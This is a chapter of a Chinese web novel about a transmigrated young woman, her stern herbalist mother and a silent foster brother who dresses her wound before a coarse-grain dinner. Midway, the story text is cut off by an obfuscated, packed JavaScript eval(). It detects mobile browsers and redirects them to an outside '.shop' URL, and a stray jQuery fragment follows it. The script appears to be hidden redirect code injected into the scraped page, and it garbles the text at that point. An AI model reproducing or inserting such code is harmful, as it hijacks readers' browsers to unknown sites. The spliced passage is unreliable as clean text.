“傻站着干什么!”
许荞正在胡思乱想,许阿妈又在一旁吼她,“还不去洗洗,把衣服换了!”
更年期女人脾气好大,说话像吵架。
许荞低头看看自己的尊容,确实泥地里打过滚一样,转身去屋檐下的大水缸舀了一瓢水,倒在木盆里,洗洗手和脸。
伤口不小心沾了水,钻心的疼。
她心里骂骂咧咧,扭头瞪了江白及一眼。
要不是这个狼崽子,她会在这个世界受这份苦?
恰在这时,江白及转身,视线猝不及防撞上。
青年眼神瞬间锋锐,只停顿一秒,便移开视线,抬手把竹筐搂在一起,搬进坝子西边的木板房。
七八个竹筐摞在一起,有半人多高,看起来就很沉,江白及稳稳地托着,步伐从容。
二十岁的青年,身量初长成,还带着少年的薄韧,身高却几乎和木门框齐平,居高临下看过来,气势逼人。
许荞轻嗤了一声,扭头去自己房间换衣服。
吊脚楼半悬空,木梯子踩上咯吱响,廊下木板也踩得脱了漆,露出毛刺。
正对楼梯是开阔的堂屋,像村子里其他人家一样挂了神像,摆了祭祀桌。
不一样的是,靠东墙摆了张桌子和柜子,有人上门来看诊的时候,许阿妈就在此接待。
柜子里放着自制草药和从县里买回来的西药,都是常用的跌打损伤、头疼脑热之类的药。
复杂的病情许阿妈也看不了,需要到乡卫生所或者县城医院。
许荞的房间在西侧,和江白及的房间相邻,门开在走廊上。
东侧是许阿妈的房间和火塘间,也就是煮饭吃饭的地方。
说实话,这么正宗的吊脚楼,许荞只在旅游的时候见过,都没有机会住呢,也算是人生体验。
她推开自己房间的门,下意识瞥了一眼隔壁江白及的房门。
住得这么近,一层木板隔开,隔音就不用想了,说不定半夜还能听见翻身打呼声,安全感有点欠缺呀。
不过一家三口人靠着许阿妈做赤脚大夫的收入,有吃有穿,各人有单独的房间,已经算不错了。
而且做大夫救死扶伤,地位比较高,平时村民说话都恭敬着,隔三差五送来些土特产,在村子里也算得脸。
江白及能在许阿妈的庇护下长大,属实是积了德。
他的出身在那个年代不算好,还有海外亲戚,一家人被连累,都早早去了。
只留下江白及这个孤儿,变成小叫花子,被许阿妈带回家,和许荞一起养着。
两个人同岁,江白及还比许荞大几个月,刚来的时候却比许荞矮了半个头,瘦瘦小小,干干巴巴,看起来很可怜,眼神却凶得很。
许荞很不满小狼崽子分走自己的玩具、零食和妈妈的关注,私下里总欺负他,按着江白及的头让他喊姐。
江白及倔得很,从来不喊,也从不屈服。
两人梁子结下了,偏偏许阿妈又偏袒江白及,梁子就越结越大,到许荞穿过来的时候,那真是相看两生厌。
啧,家家有本难念的经呀。
许荞摇摇头,换好衣服,走出房间。
在走廊上,她迎面碰上收好草药的许阿妈和江白及。
江白及仍然一副表面温良的样子,眼皮半垂着,跟在许阿妈身后,身板挺直地走上楼梯。
走在前头的许阿妈看到许荞,“去柜子里找药,自己抹上。”
说完,扭头进火塘间做饭去了。
许荞正要抬步,却见江白及瞥她一眼,寒光隐隐,径直朝她走来,当下心头一凛,立刻摆出戒备姿态。
谁知江白及脚步未停,和她擦身而过,直接回房间了。
许荞肩头一松,对着江白及的背影翻了个白眼,又自嘲自己反应过激,凭他在许阿妈面前的温良假面,肯定不敢动手!
许荞把他丢在脑后,在堂屋的柜子里翻找片刻,找到一管红霉素药膏,撸起衣袖小心涂抹。
刚抹上,许阿妈探头出来,喝道:“左手边那个红盖子的陶罐,没看见?抹里面的草药!”
许荞看见了,却认不清。
原主的记忆在草药这块实在苍白,今天在崖边发现的那丛龙舌草还是江白及先认出来的,许荞想抢才不小心失足滑落山崖。
许荞不想承认自己不认识这些草药,嘀咕道:“自己往手臂上抹草药不方便。”
还要包扎,单手操作很不方便。
许阿妈瞪着她,半威胁地挥了挥手里的勺子,刚好看到江白及从房间里出来,喊道:“阿及,你帮她抹一下药。”
又念叨,“别小看阿妈的草药,祖传的方子传了好几代的,比那些药管子好用很多,村里人受伤了都指明要裹这种草药。”
又瞪了许荞一眼,才转身进火塘间了。
许荞从这一眼中看出了恨铁不成钢、不识货、敢不用许家祖传草药你试试看等含义。
来自血脉的压制让她头皮一麻,放下手中的红霉素,转头扒拉出红盖子的土陶罐。
陶罐摆在桌上,她卷着衣袖,撩起眼皮看向站在门口的江白及。
挑衅的意味很明显,阿妈发话了,还不快来帮我裹药!
倒与从前刁蛮的形象有些重合。
主要是憋屈到现在,终于逮着机会对未来大佬颐指气使,许荞心情很澎湃。
江白及与她视线相触,顿了顿,敛下眼睫,长腿一迈,几步走到桌前,修长手指捏起土罐,放在手心里轻轻一旋。
然后定定地看着她。
狭长的黑眸如一潭深水,幽暗沉寂,竟与下午那双狠戾的红眸诡异的重合起来。
许乔怀疑他下一秒就会把罐子呼到脸自己脸上。
她努力把自己钉在竹凳上,抬头挺胸,直视那双黑眸,“还不赶快抹!”
江白及垂眸,伸出两根手指,慢条斯理地挖出一坨草药,墨绿得近乎黑色的药膏粘在修长的指尖,衬得冷白皮肤更加刺眼。
他一句话都没有说,只盯着许荞,慢慢地将粘着药膏的手指怼到她面前。
那气势,不像杵过来两根手指,而是插过来一柄剑,那坨墨绿色、散发着异味的药膏,更像一坨毒药。
许荞深吸一口气,小样!怕你不成!
她“啪”的一下把手臂挪到正前方,迎着江白及的目光恶狠狠地说:“抹匀点儿。”
江白及的动作滞了一瞬,目光在她脸上定格半秒,然后垂下眼睑,将指尖的药膏轻轻抹在许荞的伤口上。
清凉的触感轻柔地覆盖伤处,肿胀热辣的痛感神奇地减轻了。
果然是许氏祖传秘方,有点意思。
许荞兴致大起,把刚才江白及带来的压迫感抛在脑后,低头研究起那坨黏糊巴啦的药膏。
捣得很细的草药,还能看到微末的草茎和叶梗,混着奇怪的青草味药味。
于是忍不住开口:“考考你啊,知道这里面含有哪几种草药吗?”
江白及没有回答。
抹完放下手中的药罐,抽出一条干净的布巾裹覆在刚刚抹好的药膏上,开始包扎。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744928|209245||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
力道很轻,并没有趁机报复,但他也一直没开口,裹好草药,就开始收拾桌面的狼藉。
许荞瞅着他干脆利落的动作,忍不住拧眉:“你听到我说话了吗?怎么不回答?”
江白及动作不停,却依然没有出声。
竟敢无视她!
许荞被惹恼了,一巴掌摁住那只骨节分明的大手,音调也提高了些:“你是哑巴吗?”
说起来,好像从下午第一眼看见他开始,就没听他说过一句话,除了回答许阿妈时那声闷在嗓子眼儿里的“嗯”。
嗯,这人不是哑巴,却故意不回答她的问题,这是明晃晃的挑衅!
如果是原著里的许荞,必定火冒三丈,说不定又要掀起一场暗战。
许荞也很恼火,按着那双手的巴掌更加用力。
但江白及手掌轻轻一翻,就摆脱了许荞的控制,垂眸静静地看着她,语气淡漠:“说了你能记得住吗?”
这是许荞第一次听到江白及的声音,意外的低沉悦耳,像山间泉水击打在顽石,自带回音。
许荞忽略江白及语气中那一抹淡淡的嘲讽,唇角挑衅般扬起,“明天你再考我啊。”
江白及冷淡地扫了她一眼,将草药罐收回柜子,然后转身去火塘间帮忙,竟将她的话轻视个彻彻底底。
这死拽样,真的很让人火大啊!
许荞冷笑一声,还用演吗?
就冲他这态度,兄妹不和水火不容什么的,不是顺理成章吗!
许荞不想忍,噌地站起身,噔噔噔跟着走进火塘间。
叫火塘间自然有一个大火塘,在房内稍微靠里侧的地方,向下挖出一个很大的凹坑,几根木柴叠在里面燃烧,火光跳跃,上面架着三脚架,一口大铁锅里正焖煮着食物,热气混着烟气袅袅上升,从屋檐下的开口逸散出去。
江白及正把悬在梭筒上的陶罐端下来,放在火塘一角保温,陶罐里焖了饭。
许阿妈从火堆下扒拉出几个烧得黢黑的辣椒,拍拍灰,扔进石臼里,正要开始捣,瞥见许荞走进火塘间,抬了抬眉毛:“过来擂辣椒。”
许荞:早知道不跟进来了。
晚饭就摆在坝子里。
天气热起来了,火塘间坐不住,坝子里支个木板桌,做好饭端出来,趁着天光,围坐在一起。
许荞看着桌子上两个盆,一盆饭,一盆菜,再一碗自己亲手擂出来的烧辣椒,就是三个人的晚饭。
饭不是纯白大米饭,有黑的、黄的、红的,混了很多东西。
那一盆大烩菜也黑乎乎的,除了红辣椒,看不出什么食材。
许荞一时不敢下嘴,这阵儿她才对穿入这个年代文世界有了点实感,不会每天都要吃这些奇怪的东西吧?
许阿妈敲敲碗,催促道:“吃啊,发什么呆!”
江白及也抬眸扫了她一眼,目光冷然。
许荞硬着头皮端起碗,用竹筷扒拉了一口饭,舌尖探了探,品出红薯、玉米和糙米。
好吧,也算是一碗健康的杂粮饭。
她又夹起一块大烩菜,只挑上一根长长的灰黑色不明物,下意识问:“这是什么?”
许阿妈瞪她一眼,“自家晒的豇豆,还能毒死你?”
许荞咬咬牙,抱着英勇赴难的决心,将筷子怼进嘴里,辣味和咸味直冲天灵盖,立刻就想吐了给三七吃。
但舌头本能一卷,牙齿配合着一咬,喉咙接着打开,这坨东西很顺遂地就滚进肚子了。
许荞眼眶一热,二十年培养出来的身体本能如此强大!